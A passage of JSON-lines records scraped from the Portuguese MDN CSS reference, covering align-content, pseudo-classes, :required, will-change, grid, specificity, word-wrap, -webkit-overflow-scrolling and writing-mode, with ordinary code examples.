for=\"values\">align-content: </label>\n  <select id=\"values\">\n    <option value=\"normal\">normal</option>\n    <option value=\"stretch\">stretch</option>\n    <option value=\"flex-start\">flex-start</option>\n    <option value=\"flex-end\">flex-end</option>\n    <option value=\"center\" selected>center</option>\n    <option value=\"space-between\">space-between</option>\n    <option value=\"space-around\">space-around</option>\n    <option value=\"space-evenly\">space-evenly</option>\n\n    <option value=\"start\">start</option>\n    <option value=\"end\">end</option>\n    <option value=\"left\">left</option>\n    <option value=\"right\">right</option>\n\n    <option value=\"baseline\">baseline</option>\n    <option value=\"first baseline\">first baseline</option>\n    <option value=\"last baseline\">last baseline</option>\n\n    <option value=\"safe center\">safe center</option>\n    <option value=\"unsafe center\">unsafe center</option>\n    <option value=\"safe right\">safe right</option>\n    <option value=\"unsafe right\">unsafe right</option>\n    <option value=\"safe end\">safe end</option>\n    <option value=\"unsafe end\">unsafe end</option>\n    <option value=\"safe flex-end\">safe flex-end</option>\n    <option value=\"unsafe flex-end\">unsafe flex-end</option>\n  </select>\n</div>\n```\n\n\n```\nvar values = document.getElementById(\"values\");\nvar display = document.getElementById(\"display\");\nvar container = document.getElementById(\"container\");\n\nvalues.addEventListener(\"change\", function (evt) {\n  container.style.alignContent = evt.target.value;\n});\n\ndisplay.addEventListener(\"change\", function (evt) {\n  container.className = evt.target.value;\n});\n```\n\n### Result\n\nSpecifications\n--------------\n\n| Specification |\n| --- |\n| CSS Box Alignment Module Level 3 # align-justify-content |\n| CSS Flexible Box Layout Module Level 1 # align-content-property |\n\nBrowser compatibility\n---------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* CSS Flexbox Guide: *Basic Concepts of Flexbox*\n* CSS Flexbox Guide: *Aligning items in a flex container*\n* CSS Grid Guide: *Box alignment in CSS Grid layouts (en-US)*\n* CSS Box Alignment (en-US)"}
{"title":"Pseudo-classes - CSS","text":"Pseudo-classes\n==============\n\nUma ***pseudo-classe*** CSS é uma palavra-chave adicionada a seletores que especifica um estado especial do elemento selecionado. Por exemplo, `:hover` pode ser usado para alterar a cor de um botão quando o usuário passar o cursor sobre ele.\n\n\n```css\n/\\*Qualquer botão sobre o qual o ponteiro do usuário esteja passando sobre\\*/\nbutton:hover {\n  color: blue;\n}\n```\n\n\nPseudo-classes permitem que você aplique um estilo a um elemento não apenas em relação ao conteúdo da árvore do documento, mas também em relação a fatores externos como o histórico de navegação (`:visited`, por exemplo), o status do seu conteúdo (como `:checked` em certos elementos de um formulário), ou a posição do mouse (como `:hover`, que permite saber se o mouse está sobre um elemento ou não).\n\n**Nota:** Diferentemente das pseudo-classes, pseudo-elementos podem ser usados para estilizar uma *parte específica* de um elemento.\n\nSintaxe\n-------\n```\n\nseletor:pseudo-classe {\n  propriedade: valor;\n}\n```\n\n\nAssim como nas classes regulares, você pode encadear juntas quantas pseudo-classes você desejar em um seletor.\n\nÍndice de pseudo-classes padrão\n-------------------------------\n\n* `:active`\n* `:checked`\n* `:default` (en-US)\n* `:dir()` (en-US)\n* `:disabled`\n* `:empty`\n* `:enabled`\n* `:first` (en-US)\n* `:first-child`\n* `:first-of-type`\n* `:fullscreen` (en-US)\n* `:focus`\n* `:hover`\n* `:indeterminate` (en-US)\n* `:in-range` (en-US)\n* `:invalid`\n* `:lang()` (en-US)\n* `:last-child`\n* `:last-of-type`\n* `:left` (en-US)\n* `:link`\n* `:not()`\n* `:nth-child()`\n* `:nth-last-child()`\n* `:nth-last-of-type()` (en-US)\n* `:nth-of-type()`\n* `:only-child`\n* `:only-of-type`\n* `:optional`\n* `:out-of-range`\n* `:read-only` (en-US)\n* `:read-write`\n* `:required`\n* `:right` (en-US)\n* `:root`\n* `:scope` (en-US)\n* `:target`\n* `:valid`\n* `:visited`\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # pseudo-classes |\n| Selectors Level 4  |\n| CSS Basic User Interface Module Level 4  |\n\nVeja também\n-----------\n\n* `pseudo-elements`"}
{"title":":required - CSS","text":":required\n=========\n\nA pseudo-classe CSS **`:required`** representa qualquer `<input>`, `<select>`, ou `<textarea>` contendo o atributo `required`.\n\n\n```css\n/\\* Seleciona qualquer <input> requerido \\*/\ninput:required {\n  border: 1px dashed red;\n}\n```\n\n\nEsta pseudo-classe é utilizada para destacar campos que devem ter dados válidos antes do formulário ser submetido.\n\n**Nota:** A pseudo-classe `:optional` seleciona campos do formulário que são *opcionais*.\n\nSintaxe\n-------\n\nError: could not find syntax for this itemExemplos\n--------\n\nVeja `:invalid` como exemplo.\n\nPreocupações com acessibilidade\n-------------------------------\n\nElementos `<input>` obrigatórios devem ter o atributo `required` atribuídos. Isso garante que pessoas que navegam com auxílio de recursos de acessibilidade, como o leitor de tela, possam entender quais campos precisam ter conteúdos válidos para garantir a submissão dos dados .\n\nSe o formulário também possui campos opcionais, entradas requeridas devem ser indicadas visualmente usando um tratamento que não seja apenas a cor para passar o significado. Usualmente, textos descritivos e/ou um ícone são utilizados.\n\n* MDN Understanding WCAG, Guideline 3.3 explanations (en-US)\n* Understanding Success Criterion 3.3.2 | W3C Understanding WCAG 2.0\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # selector-required |\n| Selectors Level 4 # opt-pseudos |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Outras pseudo-classe relacionadas a validação: `:optional`, `:invalid`, `:valid`\n* Validação de dados de formulário (en-US)"}
{"title":"will-change - CSS","text":"will-change\n===========\n\nSumário\n-------\n\nA propriedade **`will-change`** do CSS fornece um modo dos autores dizerem aos navegadores sobre que tipo de mudanças devem ser esperadas no elemento, então o navegador pode fazer as otimizações apropriadas com antecedência, antes do elemento ser efetivamente modificado.\n\nEsses tipos de otimizações podem aumentar a capacidade de resposta de uma página, fazendo o trabalho potencialmente caro antes do tempo antes que eles são realmente necessários.\n\nO uso adequado dessa propriedade pode ser um pouco complicado:\n\n* *Não aplique will-change em muitos elementos.* O navegador já tenta ao máximo otimizar tudo. Algumas das otimizações mais fortes que podem utilizar o `will-change` acabam usando muitos recursos da máquina, e quando utilizados em demasia como neste caso, pode fazer a página para retardar o carregamento ou consumir uma grande quantidade de recursos.\n* *Use com moderação.* O comportamento normal do navegador para otimizações é fazê-las e depois voltar ao normal. Mas adicionando `will-change` diretamente no estilo, implica que o elemento alvo está sempre alguns momentos antes da mudança, e o navegador irá manter as otimizações por muito mais tempo do que teria de outra forma. Então é uma boa prática colocar e retirar o `will-change` usando script antes e depois da mudança ocorrer.\n* *Não aplicar will-change em elementos para realizar a otimização prematura.* Se sua página está performando bem, não adicione a propriedade `will-change` nos elementos apenas para trazer mais velocidade. `will-change` é entendido como algo para ser usado como último recurso, com o intuito de tentar solucionar problemas de performance . Ele não deve ser usado para antecipar esses possíveis problemas. O uso excessivo do `will-change` poderá resultar em excessivo uso de memória e causar uma renderização mais complexa enquanto o browser tenta se preparar para uma possível mudança. Isso levará a um pior desempenho.\n* *Dê tempo suficiente para trabalhar*. Essa propriedade destina-se como um método para os autores dizerem ao agente do browser sobre como mudarão as properiedades antes disso acontecer. Então o navegador pode escolher como aplicar qualquer otimização requisitada na propriedade antes do tempo da ação acontecer. Isso é importante para dar ao navegador algum tempo para fazer as otimizações. Identifique um jeito de prever as mudanças, e use a proiedade `will-change` pra isso.\n\n|  |  |\n| --- | --- |\n| Initial value | `auto` |\n| Aplica-se a | all elements |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | discrete |\n\nSintaxe\n-------\n\n\n```css\n/\\* Valores chave \\*/\nwill-change: auto;\nwill-change: scroll-position;\nwill-change: contents;\nwill-change: transform; /\\* Exemplo de <custom-ident> \\*/\nwill-change: opacity; /\\* Exemplo de <custom-ident> \\*/\nwill-change: left, top; /\\* Exemplo de dois <animateable-feature> \\*/\n\n/\\* Valores globais \\*/\nwill-change: inherit;\nwill-change: initial;\nwill-change: unset;\n```\n\n### Valores\n\n`auto`\n\nEssa palavra chave não expressa nenhuma intenção em particular; o *user agent* deve aplicar qualquer otimização como normalmente ocorre.\n\nO `<animateable-feature>` pode ser um dos seguintes valores:\n\n`scroll-position`\n\nIndica que o autor espera que haja uma animação ou mudança na posição do scroll do elemento no futuro.\n\n`contents`\n\nIndica que o autor espera que haja uma animação ou mudança no conteúdo do elemento no futuro.\n\n`<custom-ident>` (en-US)\n\nIndica que o autor espera que haja uma animação ou mudança na propriedade com o nome dado no elemento no futuro. Isso não pode ser um dos seguintes valores: `unset`, `initial`, `inherit`, `will-change`, `auto`, `scroll-position`, or `contents`. A especificação não define o comportamento de um valor em particular, mas é comum pro `transform` ser uma camada de composição. O Chrome atualmente toma duas ações, dadas as propriedades particulares do CSS: estabelece uma nova camada de composição ou um novo stacking context.\n\n### Sintaxe formal\n```\n\nwill-change =   \n  auto                    | (en-US)  \n  <animateable-feature># (en-US)    \n  \n<animateable-feature> =   \n  scroll-position  | (en-US)  \n  contents         | (en-US)  \n  <custom-ident> (en-US)     \n  \n```\n\nExemplos\n--------\n\n\n```css\n.sidebar {\n  will-change: transform;\n}\n```\n\n\nO exemplo acima adiciona a propriedade `will-change` diretamente no estilo, o que irá fazer com que o navegador mantenha a otimização em memória por muito mais tempo que o necessário e nós já vimos que isso deve ser evitado. Abaixo outro exemplo mostrando como aplicar o `will-change` através de script, o que provavelmente é o que você deve fazer na maioria dos casos.\n\n\n```js\nvar el = document.getElementById(\"element\");\n\n// Set will-change quando ocorre hover no elemento\nel.addEventListener(\"mouseenter\", hintBrowser);\nel.addEventListener(\"animationEnd\", removeHint);\n\nfunction hintBrowser() {\n  // As propriedades otimizáveis que vão mudar no bloco de animações\n  this.style.willChange = \"transform, opacity\";\n}\n\nfunction removeHint() {\n  this.style.willChange = \"auto\";\n}\n```\n\n\nEntretanto pode ser apropriado incluir `will-change` no seu estilo css para uma aplicação que faz *page flips* quando uma tecla é pressionada como um álbum ou uma apresentação de slides, onde a página é grande e complexa. Isso irá dizer ao navegador para preparar a transição à frente do tempo e aceitar transições entre as páginas assim que a tecla for pressionada.\n\n\n```css\n.slide {\n  will-change: transform;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Will Change Module Level 1 # will-change |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Valor atual - CSS","text":"Valor atual\n===========\n\nThe **actual value** of a CSS property is the used value of that property after any necessary approximations have been applied. For example, a user agent that can only render borders with a whole-number pixel width may round the thickness of the border to the nearest integer.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Cascading Style Sheets Level 2 Revision 2 (CSS 2.2) Specification # actual-value |\n\nVeja também\n-----------\n\n* CSS Reference"}
{"title":"grid - CSS","text":"grid\n====\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since July 2020.\n\n* Learn more\n* See full compatibility\n* Report feedback\nA propriedade **`grid`** do CSS é uma abreviação das propriedades que definem todas as propriedades da grade explícita (`grid-template-rows`, `grid-template-columns`, e `grid-template-areas` (en-US)), e todas as propriedades implícitas da grade (`grid-auto-rows` (en-US), `grid-auto-columns` (en-US), e `grid-auto-flow`), em uma única declaração.\n\nExperimente\n-----------\n\n**Nota:** Você pode especificar apenas as propriedades explícitas *ou* implícitas da grade em uma única declaração `grid`. As subpropriedades que você não especifica são definidas como seu valor inicial, como é normal para abreviações. Além disso, as propriedades da medianiz NÃO são redefinidas por essa abreviação.\n\nSintaxe\n-------\n\n\n```css\n/\\* <'grid-template'> values \\*/\ngrid: none;\ngrid: \"a\" 100px \"b\" 1fr;\ngrid: [linename1] \"a\" 100px [linename2];\ngrid: \"a\" 200px \"b\" min-content;\ngrid: \"a\" minmax(100px, max-content) \"b\" 20%;\ngrid: 100px / 200px;\ngrid: minmax(400px, min-content) / repeat(auto-fill, 50px);\n\n/\\* <'grid-template-rows'> /\n [ auto-flow && dense? ] <'grid-auto-columns'>? values \\*/\ngrid: 200px / auto-flow;\ngrid: 30% / auto-flow dense;\ngrid: repeat(3, [line1 line2 line3] 200px) / auto-flow 300px;\ngrid: [line1] minmax(20em, max-content) / auto-flow dense 40%;\n\n/\\* [ auto-flow && dense? ] <'grid-auto-rows'>? /\n <'grid-template-columns'> values \\*/\ngrid: auto-flow / 200px;\ngrid: auto-flow dense / 30%;\ngrid: auto-flow 300px / repeat(3, [line1 line2 line3] 200px);\ngrid: auto-flow dense 40% / [line1] minmax(20em, max-content);\n\n/\\* Global values \\*/\ngrid: inherit;\ngrid: initial;\ngrid: unset;\n```\n\n### Valores\n\n`<'grid-template'>`\n\nDefine o `grid-template` (en-US) incluindo `grid-template-columns`, `grid-template-rows` e `grid-template-areas` (en-US).\n\n`<'grid-template-rows'> / [ auto-flow && dense? ] <'grid-auto-columns'>?`\n\nConfigura um fluxo automático definindo as faixas de linha explicitamente por meio da propriedade `grid-template-rows` (e a propriedade `grid-template-columns` para `none`) e especificando como repetir automaticamente as faixas da coluna via `grid-auto-columns` (en-US) (e setando `grid-auto-rows` (en-US) para `auto`). `grid-auto-flow` também é definido para a `column`, de acordo com `dense`, se especificado.\n\nTodas as outras subpropriedades `grid` são redefinidas para seus valores iniciais.\n\n`[ auto-flow && dense? ] <'grid-auto-rows'>? / <'grid-template-columns'>`\n\nConfigura um fluxo automático definindo as faixas da coluna explicitamente por meio da propriedade `grid-template-columns` (e a propriedade `grid-template-rows` para `none`) e especificando como repetir automaticamente as faixas de linha via `grid-auto-rows` (en-US) (e setando `grid-auto-columns` (en-US) para `auto`). `grid-auto-flow` também é definido para `row` de acordo com `dense`, se especificado.\n\nTodas as outras subpropriedades `grid` são redefinidas para seus valores iniciais.\n\n### Sintaxe formal\n```\n\ngrid =   \n  <'grid-template'>                                   | (en-US)  \n  <'grid-template-rows'> / [ (en-US) auto-flow && (en-US) dense? (en-US) ] (en-US) <'grid-auto-columns'>? (en-US)  | (en-US)  \n  [ (en-US) auto-flow && (en-US) dense? (en-US) ] (en-US) <'grid-auto-rows'>? (en-US) / <'grid-template-columns'>    \n  \n```\n\nExemplo\n-------\n\n### Conteúdo HTML\n\n\n```html\n<div id=\"container\">\n  <div></div>\n  <div></div>\n  <div></div>\n  <div></div>\n  <div></div>\n  <div></div>\n  <div></div>\n  <div></div>\n</div>\n```\n\n### Conteúdo CSS\n\n\n```css\n#container {\n  display: grid;\n  grid: repeat(2, 60px) / auto-flow 80px;\n}\n\n#container > div {\n  background-color: #8ca0ff;\n  width: 50px;\n  height: 50px;\n}\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Grid Layout Module Level 2 # grid-shorthand |\n\n|  |  |\n| --- | --- |\n| Initial value | as each of the properties of the shorthand:* `grid-template-rows`: `none`\n* `grid-template-columns`: `none`\n* `grid-template-areas` (en-US): `none`\n* `grid-auto-rows` (en-US): `auto`\n* `grid-auto-columns` (en-US): `auto`\n* `grid-auto-flow`: `row`\n* `grid-column-gap` (en-US): `0`\n* `grid-row-gap` (en-US): `0`\n* `column-gap` (en-US): `normal`\n* `row-gap` (en-US): `normal`\n |\n| Aplica-se a | grid containers |\n| Inherited | não |\n| Percentages | as each of the properties of the shorthand:* `grid-template-rows`: refer to corresponding dimension of the content area\n* `grid-template-columns`: refer to corresponding dimension of the content area\n* `grid-auto-rows` (en-US): refer to corresponding dimension of the content area\n* `grid-auto-columns` (en-US): refer to corresponding dimension of the content area\n |\n| Computed value | as each of the properties of the shorthand:* `grid-template-rows`: as specified, but with relative lengths converted into absolute lengths\n* `grid-template-columns`: as specified, but with relative lengths converted into absolute lengths\n* `grid-template-areas` (en-US): as specified\n* `grid-auto-rows` (en-US): the percentage as specified or the absolute length\n* `grid-auto-columns` (en-US): the percentage as specified or the absolute length\n* `grid-auto-flow`: as specified\n* `grid-column-gap` (en-US): the percentage as specified or the absolute length\n* `grid-row-gap` (en-US): the percentage as specified or the absolute length\n* `column-gap` (en-US): as specified, with <length>s made absolute, and normal computing to zero except on multi-column elements\n* `row-gap` (en-US): as specified, with <length>s made absolute, and normal computing to zero except on multi-column elements\n |\n| Animation type | as each of the properties of the shorthand:* `grid-template-rows`: simple list of length, percentage, or calc, provided the only differences are in the values of the length, percentage, or calc components in the list\n* `grid-template-columns`: simple list of length, percentage, or calc, provided the only differences are in the values of the length, percentage, or calc components in the list\n* `grid-template-areas` (en-US): discrete\n* `grid-auto-rows` (en-US): by computed value type\n* `grid-auto-columns` (en-US): by computed value type\n* `grid-auto-flow`: discrete\n* `grid-column-gap` (en-US): a length\n* `grid-row-gap` (en-US): a length\n* `column-gap` (en-US): a length, percentage or calc();\n* `row-gap` (en-US): a length, percentage or calc();\n |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Propriedades CSS relacionadas: `grid-template` (en-US), `grid-template-rows`, `grid-template-columns`, `grid-template-areas` (en-US), `grid-auto-columns` (en-US), `grid-auto-rows` (en-US), `grid-auto-flow`\n* Guia de Layout de Grade: *Line-based placement with CSS Grid (en-US)*\n* Guia de Layout de Grade: *Grid template areas - Grid definition shorthands (en-US)*\n\n1. **CSS**\n2. **CSS Reference**\n3. CSS Grid Layout\n4. **Guias**\n    1. Basics concepts of grid layout\n    2. Relationship to other layout methods\n    3. Line-based placement (en-US)\n    4. Grid template areas (en-US)\n    5. Layout using named grid lines (en-US)\n    6. Auto-placement in grid layout (en-US)\n    7. Box alignment in grid layout (en-US)\n    8. Grids, logical values and writing modes (en-US)\n    9. CSS Grid Layout and Accessibility (en-US)\n    10. CSS Grid Layout and Progressive Enhancement (en-US)\n    11. Realizing common layouts using grids (en-US)\n5. **Propriedades**\n    1. grid\n    2. grid-area (en-US)\n    3. grid-auto-columns (en-US)\n    4. grid-auto-flow\n    5. grid-auto-rows (en-US)\n    6. grid-column (en-US)\n    7. grid-column-end (en-US)\n    8. grid-column-gap (en-US)\n    9. grid-column-start (en-US)\n    10. grid-gap (en-US)\n    11. grid-row (en-US)\n    12. grid-row-end (en-US)\n    13. grid-row-gap (en-US)\n    14. grid-row-start (en-US)\n    15. grid-template (en-US)\n    16. grid-template-areas (en-US)\n    17. grid-template-columns\n    18. grid-template-rows\n6. **Glossário**\n    1. Grid lines (en-US)\n    2. Grid tracks (en-US)\n    3. Grid cell (en-US)\n    4. Grid areas\n    5. Gutters (en-US)\n    6. Grid row (en-US)\n    7. Grid column (en-US)"}
{"title":"Especificidade - CSS","text":"Especificidade\n==============\n\nO Conceito\n----------\n\nA especificação é a maneira de como os navegadores definem quais valores de propriedades são os mais relevantes para o elemento a ser utilizado. A especificação é baseada apenas nas regras impostas na composição de diferentes tipos de seletores.\n\nComo isso é calculado?\n----------------------\n\nA espeficicação é calculada na concatenação da contagem de cada tipo de seletor. Não é um peso aplicado na expressão correspondente.\n\nNo caso de igualdade de especificação, a última declaração encontrada no CSS é aplicada ao elemento.\n\n**Nota:**: O fato de elementos estarem próximos na árvore do documento não tem efeito sobre a especificação.\n\n### Ordem crescente de especificação\n\nA seguinte lista de seletores está incluida na especificação:\n\n* Seletores Universais\n* Tipo de Seletores\n* Classes seletoras\n* Atributos Seletores\n* Pseudo-classes\n* Seletores ID\n* Estilo Inline\n### A exceção `!important`\n\nQuando a regra `!important` é utilizada na declaração do estilo substitui qualquer outra declaração feita no CSS, onde quer que esteja na lista de declaração. Contudo, `!important` não tem nada a ver com especificação.\n\n### A exceção `:not`\n\nA pseudo-classe de negação `:not` não é considerada uma pseudo-classe no cálculo de especificação. Contudo, seletores colocados na pseudo-class de negação são entendidos como seletores normais.\n\nAqui está um trecho de CSS:\n\n\n```css\ndiv.outer p {\n  color: orange;\n}\ndiv:not(.outer) p {\n  color: lime;\n}\n```\n\n\nUsado com o seguindo código HTML:\n\n\n```html\n<div class=\"outer\">\n  <p>Esta é a div outer.</p>\n  <div class=\"inner\">\n    <p>Este texto está na div inner.</p>\n  </div>\n</div>\n```\n\n\nIrá aparecer na tela assim:\n\nEsta é a div outer.\n\nEste texto está na div inner.\n\n### Especificação Form-based\n\nA especificação é baseada na forma de um seletor. No seguinte caso, o seletor contém os atributos no algoritmo de determinação de especificação, embora ele selecione um ID.\n\nA seguir veja as declarações de estilo:\n\n\n```css\n\\* #foo {\n  color: green;\n}\n\\*[id=\"foo\"] {\n  background: purple;\n}\n```\n\n\nUsado com esta marcação:\n\n\n```html\n<p id=\"foo\">Eu sou um simples texto.</p>\n```\n\n\nVai acabar parecendo algo como:\n\nEu sou um simples texto.\n\nPorque coincide com o mesmo elemento, mas o seletor de ID tem uma especificação superior.\n\n### Estrutura aproximada\n\nA seguir a declaração do estilo:\n\n\n```css\nbody h1 {\n  color: green;\n}\nhtml h1 {\n  color: purple;\n}\n```\n\n\nCom o HTML seguinte::\n\n\n```html\n<html>\n  <body>\n    <h1>Aqui está o título!</h1>\n  </body>\n</html>\n```\n\n\nVamos ter algo como:\n\nAqui está o título!\n\nVeja Também\n-----------\n\n* Espcificação de Seletores CSS - https://www.w3.org/TR/selectors/#specificity"}
{"title":"word-wrap - CSS","text":"word-wrap\n=========\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nResumo\n------\n\nA propriedade CSS `word-wrap` é utilizada para especificar se o navegador pode ou não quebrar linhas dentro das palavras, afim de prevenir o vazamento quando do contrário uma sequencia de caracteres é muito longa para caber na caixa que o contém.\n\n**Nota:** Originalmente uma extensão proprietária da Microsoft (não prefixada), a propriedade `word-wrap` foi renomeada para `overflow-wrap` no rascunho atual do texto de especificações do CSS3. Compilações estáveis do Google Chrome e do Opera têm suporte a nova sintaxe.\n\n|  |  |\n| --- | --- |\n| Initial value | `normal` |\n| Aplica-se a | non-replaced inline elements |\n| Inherited | yes |\n| Computed value | as specified |\n| Animation type | discrete |\n\nSintaxe\n-------\n```\n\nword-wrap:  normal | break-word\n```\n\n### Valores\n\n`normal`\n\nIndica que as linhas só podem quebrar em pontos de quebra normais de palavras.\n\n`break-word`\n\nIndica que as palavras normalmente inquebráveis podem ser quebrados em pontos arbitrários se não houver pontos de quebra de outra forma aceitáveis na linha.\n\nExemplos\n--------\n\n\n```css\np {\n  width: 13em;\n  background: gold;\n}\n```\n\n\nFStrPrivFinÄndG (Gesetz zur Änderung des Fernstraßenbauprivatfinanzierungsgesetzes und straßenverkehrsrechtlicher Vorschriften)\n\n\n```css\np {\n  width: 13em;\n  background: gold;\n  word-wrap: break-word;\n}\n```\n\n\nFStrPrivFinÄndG (Gesetz zur Änderung des Fernstraßenbauprivatfinanzierungsgesetzes und straßenverkehrsrechtlicher Vorschriften)\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Text Module Level 3 # overflow-wrap-property |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Microsoft's original documentation: MSDN Microsoft library word-wrap"}
{"title":"-webkit-overflow-scrolling - CSS","text":"-webkit-overflow-scrolling\n==========================\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\nResumo\n------\n\nA propriedade CSS `-webkit-overflow-scrolling` controla quando dispositivos com a funcionalidade de toque na tela usam uma rolagem baseada no \"momentum\" de um dado elemento.\n\n|  |  |\n| --- | --- |\n| Initial value | `auto` |\n| Aplica-se a | scrolling boxes |\n| Inherited | yes |\n| Computed value | as specified |\n| Animation type | discrete |\n\nValores\n-------\n\n`auto`\n\nUsa a rolagem \"regular\", onde o conteúdo imediatamente cessa a rolagem quando você remove o dedo da tela que reconhece os toques.\n\n`touch`\n\nUsa a rolagem baseada em \"momentos\", onde o conteúdo continua a rolar por um momento depois do gesto de rolagem ter sido finalizado quando o usuário deixar de tocar com o dedo na tela. A velocidade e duração da rolagem contínua é proporcional ao quão vigoroso a rolagem. Também cria um novo contexto estagnado.\n\n### Sintaxe formal\n\nError: could not find syntax for this itemExemplos\n--------\n\n\n```css\n-webkit-overflow-scrolling: touch; /\\* deixa a rolagem suave \\*/\n\n-webkit-overflow-scrolling: auto; /\\* pare de rolar imediatamente \\*/\n```\n\nEspecificações\n--------------\n\nNão faz parte de nenhuma especificação. A Apple tem uma descrição na referência de CSS do Safari.\n\nCompatibilidade do navegador\n----------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Artigo do CSS-Tricks com demo"}
{"title":"writing-mode - CSS","text":"writing-mode\n============\n\nA propriedade CSS **`writing-mode`** define se as linhas do texto são dispostas horizontalmente ou verticalmente e a direção que os blocos seguem\n\n\n```css\n/\\* Valores das palavras-chave \\*/\nwriting-mode: horizontal-tb;\nwriting-mode: vertical-rl;\nwriting-mode: vertical-lr;\n\n/\\* Valores globais \\*/\nwriting-mode: inherit;\nwriting-mode: initial;\nwriting-mode: unset;\n```\n\nSintaxe\n-------\n\nA propriedade especifica o *comportamento de fluxo do bloco,* que é a maneira em que os containers são empilhados ou distribuídos, e a direção em que o conteudo é alinhado ou disposto dentro dos containers. Assim a propriedade `writing-mode` também determina a distribuição do conteúdo no nível de bloco\n\n|  |  |\n| --- | --- |\n| Initial value | `horizontal-tb` |\n| Aplica-se a | all elements except table row groups, table column groups, table rows, and table columns |\n| Inherited | yes |\n| Computed value | as specified |\n| Animation type | Not animatable |\n\n### Values\n\n`horizontal-tb`\n\nConteúdo é disposto horizontalmente da esquerda para a direita, verticalmente de cima para baixo. A próxima linha horizontal é posicionada abaixo da linha anterior.\n\n`vertical-rl`\n\nConteúdo é disposto verticalmente de cima para baixo, horizontalmente da direita para a esquerda. A proxima linha vertical é posicionada à esquerda da linha anterior.\n\n`vertical-lr`\n\nConteúdo é disposto verticalmente de cima para baixo, horizontalmente da esquerda para a direita. A proxima linha vertical é posicionada à direita da linha anterior.\n\n`sideways-rl` \nExperimental\n\nConteúdo é disposto verticalmente de cima para baixo e todos os glifos, até mesmo os que estão em uma escrita vertical, são colocados lado a lado para a direita.\n\n`sideways-lr` \nExperimental\n\nConteúdo é disposto verticalmente de cima para baixo e todos os glifos, até mesmo os que estão em uma escrita vertical, são colocados lado a lado para a esquerda.\n\n`lr` \nDeprecated\n\nDescontinuado exceto para docmentos SVG1. Para CSS, use `horizontal-tb`.\n\n`lr-tb` \nDeprecated\n\nDescontinuado exceto para docmentos SVG1. Para CSS, use `horizontal-tb`.\n\n`rl` \nDeprecated\n\nDescontinuado exceto para docmentos SVG1. Para CSS, use `horizontal-tb`.\n\n`tb` \nDeprecated\n\nDescontinuado exceto para docmentos SVG1. Para CSS, use `vertical-lr`.\n\n`tb-rl` \nDeprecated\n\nDescontinuado exceto para docmentos SVG1. Para CSS, use `vertical-rl`.\n\n### Sintaxe formal\n```\n\nwriting-mode =   \n  horizontal-tb  | (en-US)  \n  vertical-rl    | (en-US)  \n  vertical-lr    | (en-US)  \n  sideways-rl    | (en-US)  \n  sideways-lr      \n  \n```\n\nExemplo\n-------\n\nEsse exemplo demonstra todos os modos de escrita, mostrando cada um com texto e várias línguas.\n\n### HTML\n\nO HTML é simplesmente um `<table>` com cada modo de escrita em uma linha com uma coluna mostrando texto em diversos scripts usando esse modo de escrita.\n\n\n```html\n<table>\n  <tr>\n    <th>value</th>\n    <th>Vertical script</th>\n    <th>Horizontal script</th>\n    <th>Mixed script</th>\n  </tr>\n  <tr>\n    <td>horizontal-tb</td>\n    <td class=\"example Text1\"><span>我家没有电脑。</span></td>\n    <td class=\"example Text1\"><span>Example text</span></td>\n    <td class=\"example Text1\"><span>1994年に至っては</span></td>\n  </tr>\n  <tr>\n    <td>vertical-lr</td>\n    <td class=\"example Text2\"><span>我家没有电脑。</span></td>\n    <td class=\"example Text2\"><span>Example text</span></td>\n    <td class=\"example Text2\"><span>1994年に至っては</span></td>\n  </tr>\n  <tr>\n    <td>vertical-rl</td>\n    <td class=\"example Text3\"><span>我家没有电脑。</span></td>\n    <td class=\"example Text3\"><span>Example text</span></td>\n    <td class=\"example Text3\"><span>1994年に至っては</span></td>\n  </tr>\n  <tr>\n    <td>sideways-lr</td>\n    <td class=\"example Text4\"><span>我家没有电脑。</span></td>\n    <td class=\"example Text4\"><span>Example text</span></td>\n    <td class=\"example Text4\"><span>1994年に至っては</span></td>\n  </tr>\n  <tr>\n    <td>sideways-rl</td>\n    <td class=\"example Text5\"><span>我家没有电脑。</span></td>\n    <td class=\"example Text5\"><span>Example text</span></td>\n    <td class=\"example Text5\"><span>1994年に至っては</span></td>\n  </tr>\n</table>\n```\n\n### CSS\n```\n\ntable {\n  border-collapse: collapse;\n}\ntd,\nth {\n  border: 1px black solid;\n  padding: 3px;\n}\nth {\n  background-color: lightgray;\n}\n.example {\n  height: 75px;\n  width: 75px;\n}\n```\n\n\nO CSS que ajusta a direcionalidade do conteúdo é algo como esse:\n\n\n```css\n.example.Text1 span,\n.example.Text1 {\n  writing-mode: horizontal-tb;\n  -webkit-writing-mode: horizontal-tb;\n  -ms-writing-mode: horizontal-tb;\n}\n\n.example.Text2 span,\n.example.Text2 {\n  writing-mode: vertical-lr;\n  -webkit-writing-mode: vertical-lr;\n  -ms-writing-mode: vertical-lr;\n}\n\n.example.Text3 span,\n.example.Text3 {\n  writing-mode: vertical-rl;\n  -webkit-writing-mode: vertical-rl;\n  -ms-writing-mode: vertical-rl;\n}\n\n.example.Text4 span,\n.example.Text4 {\n  writing-mode: sideways-lr;\n  